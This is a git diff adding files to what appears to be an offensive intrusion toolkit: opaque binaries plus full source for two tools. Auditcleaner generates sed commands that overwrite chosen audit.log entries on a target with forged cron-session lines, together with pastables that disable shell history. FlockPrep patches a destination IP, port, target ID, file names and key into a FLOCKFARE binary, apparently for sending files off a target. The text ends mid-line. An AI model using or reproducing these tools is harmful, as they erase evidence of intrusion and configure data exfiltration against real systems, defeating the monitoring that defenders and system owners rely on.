diff --git a/Linux/bin/7z b/Linux/bin/7z new file mode 100755 index 0000000..aeade5c Binary files /dev/null and b/Linux/bin/7z differ diff --git a/Linux/bin/7z.so b/Linux/bin/7z.so new file mode 100755 index 0000000..401168f Binary files /dev/null and b/Linux/bin/7z.so differ diff --git a/Linux/bin/7za b/Linux/bin/7za new file mode 100755 index 0000000..f2c5112 Binary files /dev/null and b/Linux/bin/7za differ diff --git a/Linux/bin/7zip/7z b/Linux/bin/7zip/7z new file mode 100755 index 0000000..aeade5c Binary files /dev/null and b/Linux/bin/7zip/7z differ diff --git a/Linux/bin/7zip/7z.so b/Linux/bin/7zip/7z.so new file mode 100755 index 0000000..401168f Binary files /dev/null and b/Linux/bin/7zip/7z.so differ diff --git a/Linux/bin/7zip/7za b/Linux/bin/7zip/7za new file mode 100755 index 0000000..f2c5112 Binary files /dev/null and b/Linux/bin/7zip/7za differ diff --git a/Linux/bin/7zip/7zr b/Linux/bin/7zip/7zr new file mode 100755 index 0000000..a9390e6 Binary files /dev/null and b/Linux/bin/7zip/7zr differ diff --git a/Linux/bin/7zip/sh/7z b/Linux/bin/7zip/sh/7z new file mode 100755 index 0000000..399d3b4 --- /dev/null +++ b/Linux/bin/7zip/sh/7z @@ -0,0 +1,2 @@ +#! /bin/sh +exec /usr/lib/p7zip/7z "$@" diff --git a/Linux/bin/7zip/sh/7za b/Linux/bin/7zip/sh/7za new file mode 100755 index 0000000..9761bcc --- /dev/null +++ b/Linux/bin/7zip/sh/7za @@ -0,0 +1,2 @@ +#! /bin/sh +exec /usr/lib/p7zip/7za "$@" diff --git a/Linux/bin/7zip/sh/7zr b/Linux/bin/7zip/sh/7zr new file mode 100755 index 0000000..3831dde --- /dev/null +++ b/Linux/bin/7zip/sh/7zr @@ -0,0 +1,2 @@ +#! /bin/sh +exec /usr/lib/p7zip/7zr "$@" diff --git a/Linux/bin/7zr b/Linux/bin/7zr new file mode 100755 index 0000000..a9390e6 Binary files /dev/null and b/Linux/bin/7zr differ diff --git a/Linux/bin/Auditcleaner b/Linux/bin/Auditcleaner new file mode 100755 index 0000000..3b7bf12 --- /dev/null +++ b/Linux/bin/Auditcleaner @@ -0,0 +1,183 @@ +#!/usr/bin/env python +VERSION = "2.0.1.3" + +import optparse +import os +import sys +import re + +def get_good_lines(filename): + logfile = open(filename, 'r') + good_lines = [] + good_pid = 0 + for line in logfile: + pid = get_value(" pid", line) + if pid == good_pid: + good_lines.append(line.strip()) + if get_value("type", line) == "USER_END": + break + else: + if line.find("crond") > 0: + if get_value("type", line) == "USER_ACCT": + if good_pid <= 0: + good_pid = get_value(" pid", line) + good_lines.append(line.strip()) + logfile.close() + return good_lines + +def get_value(key, line): + match = re.search(key+"=(\w+)", line) + if match: + value = match.group(1) + else: + value = match + return value + +def get_audit(line): + match = re.search("(\d+\.\d+:\d+)", line) + if match: + value = match.group(1) + else: + value = match + return value + +def get_bad_lines(): + print "\nPaste the log entries you want to clean. Press CRTL+D when finished...\n" + bad_lines = [] + try: + user_input = sys.stdin.read() + except (KeyboardInterrupt, SystemExit): + print "\nExiting..." + sys.exit(0) + for line in user_input.split("\n"): + if line != '': + bad_lines.append(line) + print "\nGot a CTRL+D" + return bad_lines + +def get_line(index, filename): + logfile = open(filename, 'r') + for i, log_line in enumerate(logfile): + if i == index: + logfile.close() + return log_line.strip() + logfile.close() + return None + +def get_line_index(line, filename): + logfile = open(filename, 'r') + for i, log_line in enumerate(logfile): + if log_line.strip() == line: + logfile.close() + return i + logfile.close() + return None + +def get_prev_ses(index, filename): + prev_ses = None + for i in range(index, -1, -1): + line = get_line(i, filename) + if get_value("type", line) == "LOGIN": + prev_ses = get_value("new ses", line) + break + return prev_ses + +def get_prev_pid(index, filename): + prev_ses = None + for i in range(index, -1, -1): + line = get_line(i, filename) + if get_value(" pid", line): + prev_ses = get_value(" pid", line) + break + return prev_ses + +def main(): + parser = optparse.OptionParser(usage="%prog [options] [FILE]", epilog="Version " + VERSION, description="Auditcleaner generates sed lines to clean /var/log/audit/audit.log. You must first get audit.log from the target and test locally. When run without specifying a FILE, Auditcleaner will look for \"audit.log\" in the cwd.") + (options, args) = parser.parse_args() + if len(args) > 1: + parser.error("too many arguments") + elif len(args) == 1: + options.filename = args[0] + else: + options.filename = "audit.log" + + if not os.path.isfile(options.filename): + parser.error("%s does not exist or is not a file" % options.filename) + + bad_lines = get_bad_lines() + if len(bad_lines) < 1: + print "\nYou didn't paste any lines!\n" + return + + good_lines = get_good_lines(options.filename) + template_lines = [] + template_ses = None + + for good_line in good_lines: + if get_value("type", good_line) != "LOGIN": + template_lines.append(good_line) + else: + template_ses = get_value("new ses", good_line) + + if not template_ses: + print"\nCould not find enough good lines in %s" % options.filename + return + else: + print "\nHere is the first good cron session from %s:\n" % options.filename + for good_line in good_lines: + print good_line + + template_index = 0 + bad_line_index = 0 + fixed_lines = [] + + while bad_line_index < len(bad_lines): + bad_line = bad_lines[bad_line_index] + bad_index = get_line_index(bad_line, options.filename) + if not bad_index: + print "\nThis line could not be found in %s:\n\n%s\n" % (options.filename, bad_line) + return + else: + new_ses = get_prev_ses(bad_index, options.filename) + if not new_ses: + new_ses = template_ses + if not get_value(" pid", bad_line): + new_pid = get_prev_pid(bad_index, options.filename) + else: + new_pid = get_value(" pid", bad_line) + if get_value("type", bad_line) != "LOGIN": + fixed_line = re.sub(r'(\d+\.\d+:\d+)', "\\\\1", template_lines[template_index%len(template_lines)]) + fixed_line = re.sub(r'"', '\\"', fixed_line) + fixed_line = re.sub(" pid=\d+", " pid="+new_pid, fixed_line) + fixed_line = re.sub("ses="+template_ses, "ses="+new_ses, fixed_line) + fixed_line = "sed -e \"s#^type=%s.*\(%s\).*\$#%s#g\"" % (get_value("type", bad_line), get_audit(bad_line), fixed_line) + if bad_line_index < len(bad_lines) - 1: + fixed_line = fixed_line + " | \\" + else: + fixed_line = fixed_line + " > .tmp557371; \\" + fixed_lines.append(fixed_line) + template_index += 1 + bad_line_index += 1 + + if len(fixed_lines) > 0: + print "\nPastables to test locally:\n" + print "cp %s .tmp345634; cat .tmp345634 | \\" % options.filename + for fixed_line in fixed_lines: + print fixed_line + print "diff %s .tmp557371; rm -f .tmp345634 .tmp557371" % options.filename + + print "\nPastables to run on target:\n" + print "-get /var/log/audit/audit.log" + print "-shell" + print "unset HISTFILE" + print "unset HISTSIZE" + print "unset HISTFILESIZE\n" + print "cp /var/log/audit/audit.log .tmp345634; cat .tmp345634 | \\" + for fixed_line in fixed_lines: + print fixed_line + print "diff /var/log/audit/audit.log .tmp557371; cat .tmp557371 > /var/log/audit/audit.log; rm -f .tmp345634 .tmp557371" + else: + print "\nNo need to clean LOGIN lines.\n" + +if __name__ == '__main__': + main() diff --git a/Linux/bin/Auditcleaner.old.pl b/Linux/bin/Auditcleaner.old.pl new file mode 100755 index 0000000..54ef88d --- /dev/null +++ b/Linux/bin/Auditcleaner.old.pl @@ -0,0 +1,243 @@ +#!/usr/bin/env perl +$VER="1.0.0.1" ; +$i=0; +if (@ARGV) { + foreach (@ARGV) { + if (@ARGV[$i] eq "-h") { + print "\n + # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + # + # Usage: auditcleaner [audit.log location] [-f] (If not specified will look for audit.log from where is was ran.) + # Usage: auditcleaner -h (Gets this help) + # Usage: auditcleaner -f (Tells it to output lines ready for use on target) + # Version ${VER} + # # # # # + # + # Auditcleaner will generate SED lines to clean audit.log files. + # + # The following MUST be done: + # + # A. You must get the audit.log from target or a portion of it to be the sample. + # B. Find your dirty lines from the audit.log and enter them via STDIN when prompted. + # + # # # # # + # + # It will automatically pull valid crond session lines from a sample file. + # The sample file can be entered on command line when calling the script or will by default use \"audit.log\" from where the script was ran. + # With these sample lines it will generate pastables for the dirty lines entered via STDIN. + # + # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +" ; + exit; + } + $i++; + } + $i=0; + foreach (@ARGV) { + if (@ARGV[$i] eq "-f") { + $final="/var/log/audit/audit.log"; + } + $i++; + } + $i=0; + foreach (@ARGV) { + if (@ARGV[$i] ne "-f" ) { + $filename=@ARGV[$i]; + } + $i++; + } +} +if ($filename) { +}else { +$filename ="audit.log"; +} +print "Using this file to pull the template lines from: $filename\n"; +my $pidline =`grep cron $filename | tail -5 | head -1`; +my ( $pid ) = ( $pidline =~ /\suser pid=(\d+)/) ; +my @good_lines =`grep "pid=$pid" $filename`; +@good_lines_count = @good_lines; +$good_lines_count = scalar(@good_lines_count).""; +$s=5; +$j=0; +while ($good_lines_count != 6 ) { + $s=$s + 10; + my $pidline =`grep cron $filename | tail -$s | head -1`; + ( $pid ) = ( $pidline =~ /\suser pid=(\d+)/) ; + @good_lines =`grep pid=$pid $filename`; + @good_lines_count = @good_lines; + $good_lines_count = scalar(@good_lines_count).""; + $j++; + if ( $j > 5 ) { + print "\n\n The sample data did not provide good lines. \n Please get more data and try again. \n\n\n "; + exit; + } +} +$i=0; +$k=0; + foreach $goodlines (@good_lines){ + if ( @good_lines[$i] =~ /(.*new ses=\d+)/) { + $session_line = @good_lines[$i]; + } else { + (@replace_lines[$k]) = @good_lines[$i]; + $k++; + } + $i++; + } +print "\nPlease paste the bad lines that need to be cleaned. \n Press Ctrl after last line is entered. .\n\n"; +my @bad_lines =; +print "\n \n # # # # # Working # # # # # \n\n"; +sleep 1; +@bad_lines_count = @bad_lines; +$bad_lines_count = scalar(@bad_lines_count).""; +$i=0; +$j=0; +$k=0; +$l=0; + foreach $bad_lines (@bad_lines){ + if ( @bad_lines[$i] =~ /(.*new ses=\d+)/) { + @bad_lines_ses[$j]= @bad_lines[$i]; + $j++ + } elsif ( @bad_lines[$i] =~ /(^$)/) { + (@bad_lines_blank[$l]) = @bad_lines[$i]; + $l++; + } else { + (@bad_lines_std[$k]) = @bad_lines[$i]; + $k++; + } + $i++; + } +@bad_lines_count_ses = @bad_lines_ses; +$bad_lines_count_ses = scalar(@bad_lines_count_ses).""; +@bad_lines_count_std = @bad_lines_std; +$bad_lines_count_std = scalar(@bad_lines_count_std).""; +@bad_lines_blank_count = @bad_lines_blank; +$bad_lines_blank_count = scalar(@bad_lines_blank_count).""; +if ($bad_lines_count != $bad_lines_count_ses + $bad_lines_count_std + $bad_lines_blank_count) { + die "Math doesnt line up"; +} +if ($good_lines_count < $bad_lines_count ) { + $line_count_diff= ($bad_lines_count_ses + $bad_lines_count_std) - $good_lines_count ; + print "\nThere were $line_count_diff extra bad lines. Additional lines were generated.\n"; +} +$i=0; +foreach $bad_pid_ses (@bad_lines_ses){ + ( @bad_ses_pid[$i] ) = ( $bad_pid_ses =~ /\slogin pid=(\d+)/) ; + $i++; +} +$i=0; +foreach $bad_pid_std (@bad_lines_std){ + ( @bad_std_pid[$i] ) = ( $bad_pid_std =~ /\suser pid=(\d+)/) ; + $i++; +} +$i = 0; +$bad_lines_count_std_diff = $bad_lines_count_std -5 ; +until ($i eq $bad_lines_count_std_diff) { + $k=$i+5; + @replace_lines[$k] = @replace_lines[$i]; + $i++; +} +$i = 0; +foreach $replace_lines (@replace_lines) { + (@template_std_1[$i],@template_std_time[$i],@template_std_2[$i]) = split(/(\d*.\d\d\d:\d*)/, "$replace_lines" ); + $i++; +} +$i=0; +until ($i eq $bad_lines_count_ses) { + @session_line[$i] = $session_line; + $i++; +} +$i=0; +foreach $session_line (@session_line) { + (@template_ses_1[$i],@template_ses_time[$i],@template_ses_2[$i]) = split(/(\d*.\d\d\d:\d*)/, "$session_line" ); + (@template_ses_2_a[$i],@template_ses_id[$i]) = split(/new ses=/, "@template_ses_2[$i]" ); + $i++; +} +$i = 0; +foreach $bad_lines_std (@bad_lines_std) { + (@bad_std_1[$i],@replace_std_time[$i],@bad_std_2[$i] ) = split(/(\d*.\d\d\d:\d*)/, "$bad_lines_std"); + $i++; +} +$i=0; +foreach (@template_std_2) { + $_ = @template_std_2[$i]; + s/"/\\"/g; + @template_std_2[$i] = $_; + $i++; +} +$i=0; +foreach $bad_std_pid (@bad_std_pid) { + $_ = @template_std_2[$i]; + s/$pid/$bad_std_pid/g; + @template_std_2[$i] = $_; + $i++; +} +$i = 0; +foreach $bad_lines_ses (@bad_lines_ses) { + (@bad_ses_1[$i],@replace_ses_time[$i],@bad_ses_2[$i]) = split(/(\d*.\d\d\d:\d*)/, "$bad_lines_ses" ); + (@bad_ses_2_a[$i],@bad_ses_id[$i]) = split(/new ses=/, "@bad_ses_2[$i]" ); + $i++; +} +$sed1='sed -e "s#^.*\('; +$sed2='\).*\$#'; +$sed3='#g" | \\'; +$sed4='new ses='; +$sed5='#g" > n ; \\'; +$i = 0; +foreach (@bad_ses_id){ + chomp @bad_ses_id[$i]; + @sed_ses_line[$i]="$sed1@replace_ses_time[$i]$sed2@template_ses_1[$i]\\1@template_ses_2_a[$i]$sed4@bad_ses_id[$i]$sed3\n"; + $i++; +} +$i = 0; +foreach (@replace_std_time){ + chomp @template_std_2[$i]; + if ($i < ($bad_lines_count_std -1 )) { + @sed_std_line[$i]="$sed1@replace_std_time[$i]$sed2@template_std_1[$i]\\1@template_std_2[$i]$sed3\n"; + $i++; + } else { + @sed_std_line[$i]="$sed1@replace_std_time[$i]$sed2@template_std_1[$i]\\1@template_std_2[$i]$sed5\n"; + } +} +print "\n#######################################\nCommands generated to test locally. You MUST test first locally.\n#######################################\n\n"; +$i=0; +print "cp audit.log o ; cat o | \\\n"; +foreach (@sed_ses_line) { + print "@sed_ses_line[$i]"; + $i++ +} +$i=0; +foreach (@sed_std_line) { + print "@sed_std_line[$i]"; + $i++ +} +print "diff audit.log n ; #cat n > audit.log\n"; +print "\n#######################################\n"; +if ($final) { + print "Final Commands generated to run on target. \n#######################################\n"; + print " +-get /var/log/audit/audit.log +-shell +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE + + "; + print "cp $final o ; cat o | \\\n"; + $i=0; + foreach (@sed_ses_line) { + print "@sed_ses_line[$i]"; + $i++ + } + ## Print std lines + $i=0; + foreach (@sed_std_line) { + print "@sed_std_line[$i]"; + $i++ + } + + print "diff $final n ; cat n > $final\n"; + print "\n#######################################\n\n"; +} else { +print "Will need to mod those lines to run on target or run this again with \"-f\" option.\n\n"; +} diff --git a/Linux/bin/DUL b/Linux/bin/DUL new file mode 100644 index 0000000..87dc997 Binary files /dev/null and b/Linux/bin/DUL differ diff --git a/Linux/bin/Decode b/Linux/bin/Decode new file mode 100755 index 0000000..ee0b426 Binary files /dev/null and b/Linux/bin/Decode differ diff --git a/Linux/bin/Decode3 b/Linux/bin/Decode3 new file mode 100755 index 0000000..a2a021d Binary files /dev/null and b/Linux/bin/Decode3 differ diff --git a/Linux/bin/Decode32 b/Linux/bin/Decode32 new file mode 100755 index 0000000..50e9ae6 Binary files /dev/null and b/Linux/bin/Decode32 differ diff --git a/Linux/bin/Decode33 b/Linux/bin/Decode33 new file mode 100755 index 0000000..52ee0be Binary files /dev/null and b/Linux/bin/Decode33 differ diff --git a/Linux/bin/Dubmoat_ExtractData b/Linux/bin/Dubmoat_ExtractData new file mode 100755 index 0000000..20f43c5 Binary files /dev/null and b/Linux/bin/Dubmoat_ExtractData differ diff --git a/Linux/bin/Dubmoat_PrintFilename b/Linux/bin/Dubmoat_PrintFilename new file mode 100755 index 0000000..76c026b Binary files /dev/null and b/Linux/bin/Dubmoat_PrintFilename differ diff --git a/Linux/bin/Dubmoat_TruncateFile b/Linux/bin/Dubmoat_TruncateFile new file mode 100755 index 0000000..3c5c9d6 Binary files /dev/null and b/Linux/bin/Dubmoat_TruncateFile differ diff --git a/Linux/bin/EE b/Linux/bin/EE new file mode 100755 index 0000000..fcaa33e Binary files /dev/null and b/Linux/bin/EE differ diff --git a/Linux/bin/FlockPrep b/Linux/bin/FlockPrep new file mode 100755 index 0000000..1fddf45 --- /dev/null +++ b/Linux/bin/FlockPrep @@ -0,0 +1,598 @@ +#!/usr/bin/env perl +myinit(); +progprint(sprintf("Looking for head+${datasize}bytes+tail of: + +0x%s+${datasize}bytes+0x%s\n\n",$headtag,$tailtag)); +TRYAGAIN: +close(OUT); +if ($outfile) { + open(OUT,">$outfile") or mydie("Cannot open >$outfile: $!"); + binmode(OUT); + select OUT; + $|=1 ; +} +close(IN); +open(IN,"<$infile") or mydie("Cannot open <$infile: $!"); +binmode(IN); +select(STDOUT); +my $bytes=0 ; +if ($tryagain) { + # On the first attempt the head+${datasize}bytes+tail straddled + # a 2048 chunk so skip ahead $datasize/2 bytes this time and it won't. + read(IN,$buf,$tryagain*($datasize/2)) ; + print OUT $buf if $outfile ; + $bytes += length($buf); + mydie("Failed ${tryagain}th pass--only $bytes bytes, should be ".$tryagain*($datasize/2)) + if ($bytes != $tryagain*($datasize/2)) ; +} +my $blocks = 0; +my $foundit = 0 ; +my $done = 0; +my $oldargs = "" ; +while (read(IN,$buf,2048)) { + if (!$done) { + for ($j=0;$j <= length($buf)-12;$j++) { + $chunk = chunkof($buf,$j) ; + if ($chunk eq $headtagpacked) { + if ($j + $datasize + 12 + 1 > length($buf)) { + $tryagain++; + mywarn("Header but not footer in current buf. Trying again ". + $tryagain*($datasize/2). + " bytes into the file..."); + goto TRYAGAIN; + } + $tailchunk = chunkof($buf,$j+12+$datasize) ; + unless ($tailchunk eq $tailtagpacked) { + mywarn("\n\a\nHmmm...odd. Found header but $datasize bytes after ". + "is NOT footer...still looking."); + next; + } + $foundit++ ; + $newbuf = substr($buf,0,$j) ; + $oldargsfixed = substr($buf,$j+12,$fixedsize); + my $endianstr = unpack("H8",$oldargsfixed); + if (lc $endianstr eq "201020a3") { + $bigendian=0; + } else { + $bigendian=1; + } + #fudge as a test + if ($ENV{FORCEBIGENDIAN}) { + unless ($bigendian) { + $bigendian=1; + mywarn("Forcing BIGENDIAN mode despite presets.endian=$endianstr\n". + "indicating otherwise. USE FOR DEBUGGING ONLY---DO NOT RUN THIS $outfile"); + } + } + $littleendian=!$bigendian; + my $which = "big"; + if ($littleendian) { + $which = "little"; + } + my $output = "endianstr=$endianstr -- we are looking at a ${which}endian file"; + progprint($output); + $oldargs = $oldargsfixed; + $oldargs .= substr($buf,$j+12+$fixedsize,$varsize); + $oldargsascii = unpack("H*",$oldargs) ; + if ($outfile) { + $newargs = $newargsbig if $bigendian; + $newbuf .= $headtagpacked.$oldargsfixed.$newargs.$tailtagpacked; + $newbuf .= substr($buf,length($newbuf)) ; + mydie("LENGTH IS WRONG--should never happen") + if (length($newbuf) != length($buf)) ; + $buf = $newbuf ; + } + $done++ ; + last; + }#if found header + }#for each chunk of data + }#if !$done + print OUT $buf if $outfile ; + $bytes += length($buf); + $blocks++ ; +} +close(IN); +close(OUT); +chmod(0755,$outfile) if ($outfile and -e $outfile) ; +select STDOUT ; +if ($foundit) { + my $cmp = ";cmp $infile $outfile" if $outfile ; + my $tmp=`ls -alL $infile $outfile;md5sum $infile $outfile$cmp`; + progprint("We found it at $bytes+$j bytes ($blocks blocks of 2048):\n\n$COLOR_NOTE". + $tmp, + $COLOR_SUCCESS); + if (!$outfile) { + my $len = length($oldargs); + progprint("$len bytes of hex arguments in ${infile} between colons\n". + "::$COLOR_NOTE${oldargsascii}${COLOR_NORMAL}::\n"); + progprint("ASCII arguments in ${infile} between colons\n". + "::$COLOR_NOTE${oldargs}${COLOR_NORMAL}::\n"); + } +} else { + unlink($outfile); + mydie("\n\nNEVER FOUND head+${datasize}bytes+tail in $infile. ABORTING!\n\n\a"); +} + +sub mydie { + progprint("@_\n",1); + exit 1; +}#mydie + +sub mywarn { + progprint("@_",1); +}#mywarn + +sub chunkof { + # returns 12 byte chunk of $buf at $j + local($buf,$j) = (@_); + my $ans ; + $ans = pack("a12",substr($buf,$j)); + return $ans ; +}#chunkof + +sub myinit { + use File::Basename ; + $COLOR_SUCCESS="\033[5;42m"; + $COLOR_SUCCESS="\033[3;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + $prog = basename $0 ; + $version="1.0.1.1"; + $versiontext = "$prog version $version\n" ; + $headtag = "379db90700884206d15b987d"; + $tailtag = "23fa6509500ca4bab4f53e21"; + $datasize = 1332; + $fixedsize = 8; + $varsize = $datasize-$fixedsize; + $headtagpacked = pack("H*",$headtag) ; + $tailtagpacked = pack("H*",$tailtag) ; + $infile = shift(@ARGV); + $opt_h = ($infile eq "-h" or !$infile); + $opt_v = ($infile eq "-v"); + $infile = shift(@ARGV) if ($opt_h or $opt_v); + $outfile = shift(@ARGV) unless ($ARGV[0] =~ /^-/); + $outfile = "$infile.new" unless $outfile ; + $checkinside = $infile ? 1 : 0 ; + $newargs = "" ; + # Now parse through remaining arguments and set variables accordingly + # DEFAULTS that we can set before parsing @ARGV +# $sourcedir = "."; + if (@ARGV) { + while (my $arg = shift(@ARGV)) { + mydie("No arguments can contain whitespace.") + if ($arg =~ /\s/) ; + if ($arg eq "ZERO") { + $newargs = "ZERO"; + last; + } + if ($arg =~ /^-/) { + if ($arg =~ /^-I(P){0,1}(\S+){0,1}/i) { + if ($2) { + $ip = $2; + } else { + $ip = shift(@ARGV); + } + mydie("Malformed IP value \"$ip\" in \"$arg $ip\"") + unless ipcheck($ip); + } elsif ($arg =~ /^-M(\S+){0,1}/i) { + #???? or $arg =~ /^-T(ECHID){0,1}(\S+){0,1}/i) { + if ($2) { + $techniqueid = $2; + } else { + $techniqueid = shift(@ARGV); + } + if ($techniqueid =~ /^\d+$/) { + my $ans = getinput("Is TECHNIQUEID (-M) $techniqueid Hex or Decimal?","H","D"); + $techniqueid = hex($techniqueid) if ($ans =~ /^h/i); + } elsif ($techniqueid =~ /^(0x){0,1}[\da-f]+$/i) { + $techniqueid = hex($techniqueid); + } else { + mydie("Malformed TECHNIQUEID (-M) value \"$techniqueid\" in \"$arg $techniqueid\""); + } + } elsif ($arg =~ /^-A(\S+){0,1}/i) { + # ??? or $arg =~ /^-T(ECHID){0,1}(\S+){0,1}/i) { + if ($2) { + $targetid = $2; + } else { + $targetid = shift(@ARGV); + } + if ($targetid =~ /^\d+$/) { + my $ans = getinput("Is TARGETID (-A) $targetid Hex or Decimal?","H","D"); + $targetid = hex($targetid) if ($ans =~ /^h/i); + } elsif ($targetid =~ /^(0x){0,1}[\da-f]+$/i) { + $targetid = hex($targetid); + } else { + mydie("Malformed TARGETID (-A) value \"$targetid\" in \"$arg $targetid\""); + } + } elsif ($arg =~ /^-P(ORT){0,1}(\S+){0,1}/i) { + if ($2) { + $port = $2; + } else { + $port = shift(@ARGV); + } + mydie("Malformed PORT value \"$port\" in \"$arg $port\"") + unless ( $port =~ /^\d+$/ and + $port > 0 and + $port < 65536 + ); + } elsif ($arg =~ /^-F(ILE){0,1}(\S+){0,1}/i) { + if ($2) { + $datafile = $2; + } else { + $datafile = shift(@ARGV); + } + mydie("Malformed FILE value \"$datafile\" in \"$arg $datafile\" (no / or whitespace)") + if ($datafile =~ /\// or + $datafile =~ /\s/ + ); + } elsif ($arg =~ /^-S(OURCE){0,1}(\S+){0,1}/i) { + if ($2) { + $sourcedir = $2; + } else { + $sourcedir = shift(@ARGV); + } + $sourcedir =~ s/\/+$// ; + } elsif ($arg =~ /^-D(EST){0,1}(\S+){0,1}/i) { + if ($2) { + $destdir = $2; + } else { + $destdir = shift(@ARGV); + } + mydie("Malformed DEST value \"$destdir\" in \"$arg $destdir\"") + if ( $destdir =~ /\s/ + ); + } elsif ($arg =~ /^-K(EY){0,1}(\S+){0,1}/i) { + if ($2) { + $keyfile = $2; + } else { + $keyfile = shift(@ARGV); + } + } else { + mydie("Unrecognized argument: $arg"); + } + } else { + mydie("Malformed command line at \"$arg\""); + } + }#while (@ARGV) + # SET DEFAULTS + $port = 25 unless $port; + $destdir = "" unless $destdir; + # MAKE SURE WE HAVE WHAT WE NEED + mydie("Missing required -IP argument") + unless $ip; + mydie("Missing required TECHNIQUEID (-M) argument") + unless $techniqueid; + mydie("Missing required TARGETID (-A) argument") + unless $targetid; + mydie("Missing required -PORT argument") + unless $port; +# mydie("Missing required -FILE argument") +# unless $datafile; +# mydie("Missing required -SOURCE argument") +# unless $sourcedir; + mydie("Missing required -KEY argument") + unless $keyfile; + if (!(-e $keyfile) and (-f "$sourcedir/$keyfile")) { + $keyfile = "$sourcedir/$keyfile"; + } + mydie("KEY file \"$keyfile\" in \"$arg $keyfile\" NOT FOUND") + unless (-f $keyfile); + # OK, we have all good args, so we're not just showing contents + $checkinside = 0; + } + + my $zeroed = 0 ; + # Pad the $newargs with nulls, also truncate to $varsize if they're long + $newargs = substr(pack("a$datasize",$newargs),0,$varsize); + $newhexascii = unpack("H*",$newargs) ; + if ($outfile eq "ZERO" or $newargs =~ /ZERO/) { + $zeroed = 1; + $outfile = "$infile.ZEROED" if ($outfile eq "ZERO") ; + $checkinside = 0 ; + $newargs = "" ; + $newargs = substr(pack("a$varsize",$newargs),0,$varsize); + $newhexascii = unpack("H*",$newargs) ; + } else { + if ($opt_h or $opt_v) { + $newargs = pack("a$varsize",0); + } else { + # NOTE: This one assumes little-endian for now--we don't know what + # the file we're dealing with is yet. + $bigendian=1; + $newargsbig = buildbinaryargs($ip,$techniqueid,$targetid,$port,$datafile,$sourcedir,$destdir,$keyfile); + $bigendian=0; + $newargs = buildbinaryargs($ip,$techniqueid,$targetid,$port,$datafile,$sourcedir,$destdir,$keyfile); + } + } + mywarn("Arguments too long (".length($newargs). + " chars). Truncated to ${varsize}.") + if (length($newargs) > $varsize) ; + (my $zeros) = $newhexascii =~ /(00000+)$/ ; + my $len = length($zeros) ; + if ($len > 0) { + $len = "$len " ; + } else { + $len = ""; + } + $newhexascii =~ s/00000+$/000000(${len}zeroes to end of buffer...)/ ; + $usagetext = " +Usage: $prog infile [outfile] [FLOCKFARE-args] + +outfile defaults to infile.new. If provided, outfile must not start +with a \"-\" or contain whitespace. + +If \"ZERO\" is given as the only FLOCKFARE-args argument, the arguments +in infile are zeroed out. + +If no FLOCKFARE-args argument is given, the arguments in infile are +found and shown in hexidecimal. + +The FLOCKFARE-args provided are injected into infile if it is a valid +FLOCKFARE binary (i.e., has the right head/tail tags in it). Valid +FLOCKFARE arguments include the same that can be provided to FLOCKFARE +server via the command line, namely (and these are case insensitive, +and all can be abbreviated to their first letter): + +-IP Specifies the destination I.P. address +-M Specifies the TECHNIQUE ID +-A Specifies the TARGET ID +-PORT Specifies the port number (default = 25) +-FILE Specifies the local file to be sent +-SOURCE Specifies the local directory the file is in +-DEST Specifies the remote directory +-KEY Specifies the keyfile to use (default = .fizzle) + +Every argument requires its own \"-\", preceeded by a space and followed +by its value (no spaces in file or directory names are allowed). E.g., +either of these is valid and they are equivalent: + + -IP1.2.3.4 -P23 -Filefoo -DESTBAR + -IP 1.2.3.4 -PORT 23 -File foo -Dest BAR + +Injection consists of locating the correct place in the binary, then +placing the arguments provided into infile at that location and in the +correct endian order (infile is examined to determine its endian-ness). +The correct place is found between fixed header and footer tags above +and below the data location: + +\t\t0x$headtag and +\t\t0x$tailtag + +" ; + usage() if ($opt_h or $opt_v); + progprint("Argument parsing complete and error checks passed thus far"); + my $injected = sprintf " +\t IP : %s +\t TECHNIQUEID : %8d == 0x%08x +\t TARGETID : %8d == 0x%08x +\t PORT : %8d == 0x%08x +\t DATA FILE : %s +\t SOURCE DIR : %s +\t DEST DIR : %s +\t KEYFILE : %s +", + $ip,$techniqueid,$techniqueid,$targetid,$targetid,$port,$port, + $datafile,$sourcedir,$destdir,$keyfile ; + + if ($checkinside) { + mywarn("No content provided to inject--looking for what's in there") ; + $outfile = ""; + progprint("Looking in: $infile"); + } else { + if ($zeroed) { + progprint("Injecting: NULLS"); + } else { +# progprint("Injecting: \t".asciiclean($newargs)); +# progprint("Injecting this:\n".hexprint($newargs)); +# progprint("Injecting: \t$newargs"); + progprint("Injecting (binary for structure containing): \t$injected"); + } + progprint("Into file: \t$infile"); + progprint("To build file:\t$outfile"); + } +}#myinit + +sub usage { + print $usagetext unless ($opt_v) ; + print $versiontext ; + print "\nFATAL ERROR: @_\n" if ( @_ ); + exit; +}#usage + +sub progprint { + local ($what,$color,$color2,$what2) = (@_,"","","") ; + my $where = "STDOUT"; + my $crs = "" ; + my $tmp ; + while ($tmp = substr($what,0,1)) { + if ($tmp eq "\n") { + $crs .= $tmp; + $what = substr($what,1); + } else { + last; + } + } +# $color = $COLOR_NOTE unless $color ; + if ($color eq "1") { + $color = $COLOR_FAILURE; + $where = "STDERR"; + } + $color2 = $color unless $color2 ; + $what2 = "$what2 " if ($what2) ; + print $where "$crs$color2${prog}[$$]: $what2${color}$what$COLOR_NORMAL\n" ; +}# progprint + +sub buildbinaryargs { + local ($ip,$techniqueid,$targetid,$port,$datafile,$sourcedir,$destdir,$keyfile) + = (@_); + my $key; + my $string = undef; + # use_pre (I set) 4 + $string .= pack("l1",1); # set to true + + # lp_addr (user sets) 4 + $string .= pack("V1",inet_aton($ip)); + # lp_port (user sets) 2 + if ($bigendian) { + $string .= pack("n1",$port); + } else { + $string .= pack("v1",$port); + } + + # techniqueid (user sets) 2 + if ($bigendian) { + $string .= pack("n1",$techniqueid); + } else { + $string .= pack("v1",$techniqueid); + } + + # targetid (user sets) 4 + if ($bigendian) { + $string .= pack("N1",$targetid); + } else { + $string .= pack("V1",$targetid); + } + + # fname (user sets) 256 + $string .= strmunge($datafile,256); + + # dirname (user sets) 256 + $string .= strmunge($sourcedir,256); + + # destination (user sets) 256 + $string .= strmunge($destdir,256); + + # key (user sets) 540 (see below) + # trailer 1-3 (fixed) + my $what; + if (-s $keyfile == 536) { + my ($data,$count) = (); + # keyfile is binary, suck it in as-is + open(IN,"<$keyfile") or + 